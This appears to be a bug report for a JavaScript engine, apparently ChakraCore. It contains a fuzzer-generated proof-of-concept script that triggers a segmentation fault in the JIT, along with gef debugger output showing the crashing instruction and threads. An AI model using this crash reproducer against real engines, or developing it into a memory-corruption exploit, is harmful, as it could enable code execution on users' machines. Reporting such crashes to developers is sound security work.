segment fault7

# enviroment
ubuntu 16

# poc
```
function f(o) {
var a = [o];
var Nwmi = +NaN;
JSON.parse(null);
var bSSJ = escape('valueOf');
var KQHr = Reflect;
var TTsS = delete 643;
for (var ijjkkk = 0; ijjkkk < 718; ++ijjkkk) {
var GRQK = Symbol;
}
var GhQz = 10000 < 1;
a.length = a[0];
var Azdx = Proxy;
var Zzdr = 1073741823 > NaN;
var wQhB = a.copyWithin(function () {
}, a, delete NaN, delete NaN);
a.includes(0.864734415213608, -1.7976931348623157e+308);
var rHma = JSON.stringify(2147483648);
a = new Int32Array([a]);
var xZks = Error;
a.includes(0.864734415213608, -1.7976931348623157e+308);
var PmTw = 1e+81 != 673720360;
var QwbG = a.join(-9007199254740994, a, -9007199254740994);
var GZjn = wQhB >= 0.45272880800563353;
var aEZf = ~1;
var eAzM = Reflect;
var fMXC = a.filter(function () {
}, a);
var RNXf = 759250124 % 2147483648;
var swnp = new RegExp(null);
var HEAT = 0.572013939871763 > i;
var Zzdr = 1073741823 > NaN;
return Array.prototype['NaN'];
var AYDC = unescape('({})');
var useless = function () {
};
var nkPX = new Array([
0,
401,
0,
-4294967297
]);
var zycp = unescape('undefined');
useless(new Boolean(false));
HEAT = -4294967297 >>> -4294967296;
var RNXf = 759250124 % 2147483648;
var useless = function () {
};
for (var ijjkkk = 0; ijjkkk < 100000; ++ijjkkk) {
var mzEw = void NaN;
var FTah = Reflect;
}
var ahEC = JSON.stringify(-9007199254740990);
}
var bSSJ = escape('valueOf');
for (var i = 0; i < 772; i++) {
var nkPX = new Array([
0,
401,
0,
-4294967297
]);
for (var ijjkkk = 0.16589075493654648; ijjkkk < 0.4270652992850741; ++ijjkkk) {
var GRQK = Symbol;
}
f(2);
JSON.parse(null);
var rYBc = -9007199254740992 > 9007199254740990;
}
f(2);
NWrQ = QwbG.lastIndexOf(QwbG, xDQS);
var sCBx = new BigInt64Array([
-9007199254740992,
5e-324,
-Infinity,
NaN,
9007199254740994,
-1.7976931348623157e+308,
NaN
]);
```
# gef output
```
0x7ff7f2f594c5 mov rdx, rax
0x7ff7f2f594c8 shr rdx, 0x30
0x7ff7f2f594cc jne 0x7ff7f2f59ad8
→ 0x7ff7f2f594d2 mov rdx, QWORD PTR [rax+0x8]
0x7ff7f2f594d6 mov rdx, QWORD PTR [rdx+0x18]
0x7ff7f2f594da mov QWORD PTR [rbp-0x28], rdx
0x7ff7f2f594de mov rdi, rax
0x7ff7f2f594e1 mov rax, QWORD PTR [rbp-0x8]
0x7ff7f2f594e5 mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch", stopped 0x7ff7f2f594d2 in ?? (), reason: SIGSEGV
[#1] Id 2, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
[#2] Id 3, Name: "ch", stopped 0x55555593e345 in Memory::ArenaAllocatorBase::AllocInternal (), reason: SIGSEGV
[#3] Id 4, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ff7f2f594d2 → mov rdx, QWORD PTR [rax+0x8]
[#1] 0x7fff00000002 → add BYTE PTR [rax], al

```